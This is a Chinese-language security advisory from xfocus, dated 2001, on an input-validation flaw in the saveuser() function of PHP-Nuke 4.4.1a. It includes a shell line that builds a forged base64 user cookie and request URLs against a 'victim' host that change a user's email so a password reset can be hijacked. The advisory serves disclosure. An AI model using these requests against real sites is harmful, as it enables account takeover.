xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

PHP-Nuke 没有处理好非法SQL查询过滤


发布时间:2001-04-27
更新时间:2001-04-27
严重程度:
威胁程度:其它
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
PHP-Nuke version 4.4.1a
详细描述
PHP-Nuke (http://www.phpnuke.org/)是一个自动新闻发布系统,
其中在saveuser()函数没有很好的处理传递给查询的MYSQL。
可能让攻击者改变用户EMAIL地址和通过EMAIL地址来询问密码,
当然这并不容易实验,因为我们不知道用户的UID,不过可以
通过下面的信息来检查:

测试代码
$ /bin/echo -e "0:<user>:2:3:4:5:6:7:8:eee" | uuencode -m f begin-base64 644 fMDpBbm9ueW1vdXM6MjozOjQ6NTo2Ojc6ODplZWUK [***]

lynx http://victim/user.php?op=saveuser&user=[***]&uid=X&uname=<user>

其中可以远程修改的变量有如下:

name='', email='', femail='', url='', bio='' , user_avatar='', user_icq='', user_occ='', user_from='', user_intrest='', user_sig='', user_aim='', user_yim='', user_msnm=''

换句话说,我们要改变EMAIL地址,我们可以如下操作:

http://victim/user.php&op=saveuser&user=[***]&uid=X&uname=<user>&email=<email you want>

解决方案
尚无

相关信息
venomous(venomous at RDCREW.COM.AR)